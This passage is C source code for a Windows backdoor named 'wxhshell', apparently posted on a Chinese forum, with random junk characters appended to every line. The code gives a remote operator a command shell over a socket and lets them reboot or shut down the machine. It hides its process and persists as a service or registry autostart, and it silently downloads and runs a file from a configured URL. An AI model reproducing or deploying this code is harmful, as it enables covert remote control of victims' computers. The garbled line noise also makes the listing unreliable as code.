  case '?': { Yhu 6QyRV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9l9h*P gt  
    break; bd],fNgJ  
  } dZ'hTzw~  
  // 安装 |` gSkv  
  case 'i': { ni$7)YcF  
    if(Install()) !e*BQ3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^ s< p5V  
    else ,gHgb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7XLz Ewa  
    break; 6@_Vg~=S  
    } g:bw;6^ u  
  // 卸载 0KknsP7  
  case 'r': { W#1t%hT$  
    if(Uninstall()) 0^htwec!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /(-X[[V  
    else qI,4 uGg  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |ho|Kl `=  
    break; Ba-Ftkb  
    } ts rcX  
  // 显示 wxhshell 所在路径 C]{:>= K  
  case 'p': { r9@4-U7v&  
    char svExeFile[MAX_PATH]; xB=~3  
    strcpy(svExeFile,"\n\r"); oW]~\vp^0  
      strcat(svExeFile,ExeFile); ^3*k6h [(  
        send(wsh,svExeFile,strlen(svExeFile),0); ,1+AfI  
    break; :n36}VG|  
    } >% a^;gk(  
  // 重启 Wx&gI4~  
  case 'b': { |1vi kG8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _B4H"2}[Y  
    if(Boot(REBOOT)) {VOLUC o 4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gGl}~  
    else { Zr`pOUk!4  
    closesocket(wsh); 8jyg1NN D  
    ExitThread(0); )LESdX  
    } r|[uR$|Y  
    break; (xnXM}M&2Y  
    } e-vwve  
  // 关机 tjw4.L<r  
  case 'd': { ^VCgc>x;  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &_cMbFLBP  
    if(Boot(SHUTDOWN)) \ UCOe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bL>J0LWQ  
    else { Y> }[c   
    closesocket(wsh); *,Bo $:(n  
    ExitThread(0); zX+NhTTB  
    } Ik_u34U  
    break; y#-mj,e  
    } OmO/x  
  // 获取shell 9Yg=4>#$  
  case 's': { G-?y;V 1  
    CmdShell(wsh); E;7vGGf]  
    closesocket(wsh); ]mEY/)~7  
    ExitThread(0); t)Q6A@$:  
    break; Ra%" +=  
  } l*;Isz:  
  // 退出 =m{]Xep  
  case 'x': { P9j[ NEV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8. 9TWsZ  
    CloseIt(wsh); ,U9gg-.Lp  
    break; }F'B!8n  
    } |FK ##8  
  // 离开 dq$H^BB+>  
  case 'q': { nZ>8r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); dD _(MbTt  
    closesocket(wsh); .6I*=qv)NA  
    WSACleanup(); L[4Su;D  
    exit(1); Ji<^s@8Zc  
    break; >U/ m/H'  
        } #sLyU4QV  
  } )%D2JC  
  } @SH%l]  
Un{hI`3]  
  // 提示信息 5.st!Lp1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (<RZZ{m  
} {<XPE:1>Y  
  } iY @MnnX  
nqX)+{wAXe  
  return; nSWW^ ;  
} vMBF7Jfx  
?2D1gjr  
// shell模块句柄 D@ :w/W  
int CmdShell(SOCKET sock) q$>/~aVM  
{ F2QX ^*  
STARTUPINFO si; &gdtI  
ZeroMemory(&si,sizeof(si)); )%e`SGmp  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 2u0C ~s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zNe>fZ  
PROCESS_INFORMATION ProcessInfo; 6wk/IJ`  
char cmdline[]="cmd"; 7v9l+OX,6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); QH:PClW![  
  return 0; u(W%snl  
} 4L'dV  
[se J'Io  
// 自身启动模式 o&tETJ5Bhe  
int StartFromService(void) 0OJBC~?{\  
{ cB~D3a0Th  
typedef struct 5&}~W)"9  
{ iwJeV J  
  DWORD ExitStatus; ^{L/) Xy5  
  DWORD PebBaseAddress; ".Lwq_  
  DWORD AffinityMask; F/BB]gUB  
  DWORD BasePriority; 5r#0/1ym!  
  ULONG UniqueProcessId; }Yd7<"kp  
  ULONG InheritedFromUniqueProcessId; ,9T-\)sT  
}   PROCESS_BASIC_INFORMATION; q'r(#,B<3  
\^7D% a=;C  
PROCNTQSIP NtQueryInformationProcess; l ;TWs_N  
MXy~kb&  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; GabY xYK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9d7`R'  
RRGo$  
  HANDLE             hProcess; ;0j 8Xj  
  PROCESS_BASIC_INFORMATION pbi; v6r,2Va/  
G[34:J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~N{ 7  
  if(NULL == hInst ) return 0; Ko6>h  
{.vU;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,^]yU?eU  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >fCz,.L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kNW}0CDgs  
d@o1< Q  
  if (!NtQueryInformationProcess) return 0; `~${fs{-`/  
/yRP>CX~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); >hg?!jMjrr  
  if(!hProcess) return 0; E1p?v!   
2D,EWk/4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; fTn  
eC+S'Jgf  
  CloseHandle(hProcess); U-uBz4Gha  
%`rZ]^H  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N_#QS}H  
if(hProcess==NULL) return 0; OMaG*fb=  
oA_T9uh[  
HMODULE hMod; .Y;ljQ  
char procName[255]; {<\[gm\X  
unsigned long cbNeeded; -)S(eqq1  
g=8}G$su{%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >]DnEF&  
@.JhL[f  
  CloseHandle(hProcess); @EPO\\C"f  
u;{,,ct  
if(strstr(procName,"services")) return 1; // 以服务启动 .<GU2&;!  
sn.Xvk%75  
  return 0; // 注册表启动 xx^7  
} ZM:!LkK  
Z_Tu* F  
// 主模块 gQXB=ywF  
int StartWxhshell(LPSTR lpCmdLine) #=>t6B4af  
{ -ti nL(?3  
  SOCKET wsl; 2(5HPRQ  
BOOL val=TRUE; s,KE,$5F   
  int port=0; G5JZpB#o  
  struct sockaddr_in door; {yPJYF_l  
B2}|b^'I  
  if(wscfg.ws_autoins) Install(); R?,Oh*  
%<4ZU!2L  
port=atoi(lpCmdLine); eVDO]5?  
"qb1jv#to  
if(port<=0) port=wscfg.ws_port; 1y/_D$~ZO  
3`V #ImV>  
  WSADATA data; 5W UM"eBwL  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; -b?yzg, 8  
6gUcoDD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &y164xn'h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s\7]"3:wD  
  door.sin_family = AF_INET; UOi[#L@N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '"# W!p  
  door.sin_port = htons(port); zUw=e}?:  
e MX?x7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XeGtge/}T  
closesocket(wsl); })zYo 7  
return 1; lwY2zX&%)/  
} KW1 7CJ@  
U_1syaY!  
  if(listen(wsl,2) == INVALID_SOCKET) { #q[k"x=c  
closesocket(wsl); "YUh4uZ~P  
return 1; :fxG]uf-P  
} U9uy (KOW  
  Wxhshell(wsl); o;d><  
  WSACleanup(); #!a}ZhIt  
fu}ZOPu  
return 0; +W{ELdup%q  
Het5{Yb.  
} 5Z2tTw'i  
O@$wU9 D<  
// 以NT服务方式启动 ]!v:xjzT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;ALkeUR[  
{ 9DAk|K  
DWORD   status = 0; w_O3];  
  DWORD   specificError = 0xfffffff; ynWF Y<VX  
ukZ>_ke`+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y.pwj~s  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]<9KX} B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (T0%oina  
  serviceStatus.dwWin32ExitCode     = 0; Wmm'j&hI  
  serviceStatus.dwServiceSpecificExitCode = 0; w=ZSyT-i  
  serviceStatus.dwCheckPoint       = 0; Q db~I#}m'  
  serviceStatus.dwWaitHint       = 0; -Fl;;jeX  
?b}d"QsmU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zcn> 4E)  
  if (hServiceStatusHandle==0) return; =TTk5(m  
.BaU}-5  
status = GetLastError(); 5)IJ|"]y  
  if (status!=NO_ERROR) X4- _l$j  
{ **].d;~[l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Oa8lrP`(  
    serviceStatus.dwCheckPoint       = 0; >?pWbL  
    serviceStatus.dwWaitHint       = 0; BqF%2{  
    serviceStatus.dwWin32ExitCode     = status; =\t%U5  
    serviceStatus.dwServiceSpecificExitCode = specificError; m1](f[$  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); st|;] q9?  
    return; nUgZ]ag=G  
  } 9>@@W#TK~  
ZmJ!ZKKch  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @|N'V"*MT  
  serviceStatus.dwCheckPoint       = 0; #u<^  
  serviceStatus.dwWaitHint       = 0; ;w\7p a  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2}NWFM3C  
} 2HxT+|~d6  
88K=jo))b  
// 处理NT服务事件,比如:启动、停止 ?1DA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) s>pOfXIx  
{ -uE2h[X|  
switch(fdwControl) ??4#)n k  
{ LjE@[@d  
case SERVICE_CONTROL_STOP: U\crp T`  
  serviceStatus.dwWin32ExitCode = 0; X^2Txm d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E3p3DM0F$  
  serviceStatus.dwCheckPoint   = 0; u]D>O$_ s  
  serviceStatus.dwWaitHint     = 0; Sqc r -  
  { ?Re6oLm<B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Awip qDAu  
  } nBVR)|+M  
  return; l'~~hQ{h/  
case SERVICE_CONTROL_PAUSE: mKsTA;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F5*NK!U  
  break; \[nvdvJv  
case SERVICE_CONTROL_CONTINUE: NXJyRAJ*%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; d]kP@flOV  
  break; -G!W6$Y  
case SERVICE_CONTROL_INTERROGATE: @[:JQ'R=  
  break; li U=&wM>  
}; 5|4=uoA<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); st b)Tl^  
} -{ae  
 1#G(  
// 标准应用程序主函数 w2 L'j9  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ftL>oOz[  
{ $>72 g.B  
=nq9)4o  
// 获取操作系统版本 j.'Rm%@u  
OsIsNt=GetOsVer(); (c'=jJX  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `|[" {j}^  
_fVC\18T  
  // 从命令行安装 lzKJy  
  if(strpbrk(lpCmdLine,"iI")) Install(); I jK  
j-?zB .jAh  
  // 下载执行文件 ZPM,ZGlu:  
if(wscfg.ws_downexe) { ?gq',F FDq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qWQ7:*DL  
  WinExec(wscfg.ws_filenam,SW_HIDE); BIFuQ?j3  
} -w0U }Te^  
Up(Jw-.  
if(!OsIsNt) { Rk1B \L|M  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^m3[mY [a  
HideProc(); #Cwzk{p(  
StartWxhshell(lpCmdLine); oAMB}a;  
} \Mujx3Fmvx  
else <@Lw '  
  if(StartFromService()) (>E}{{>2r  
  // 以服务方式启动 L>,j*a_[  
  StartServiceCtrlDispatcher(DispatchTable); @YH<Hc  
else CL~21aslI  
  // 普通方式启动 \:ELO[(#|{  
  StartWxhshell(lpCmdLine); 'CrBxaA]s  
&$'=SL(Z  
return 0; LC!ZeW35  
}
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只看该作者 1 发表于: 2006-10-10
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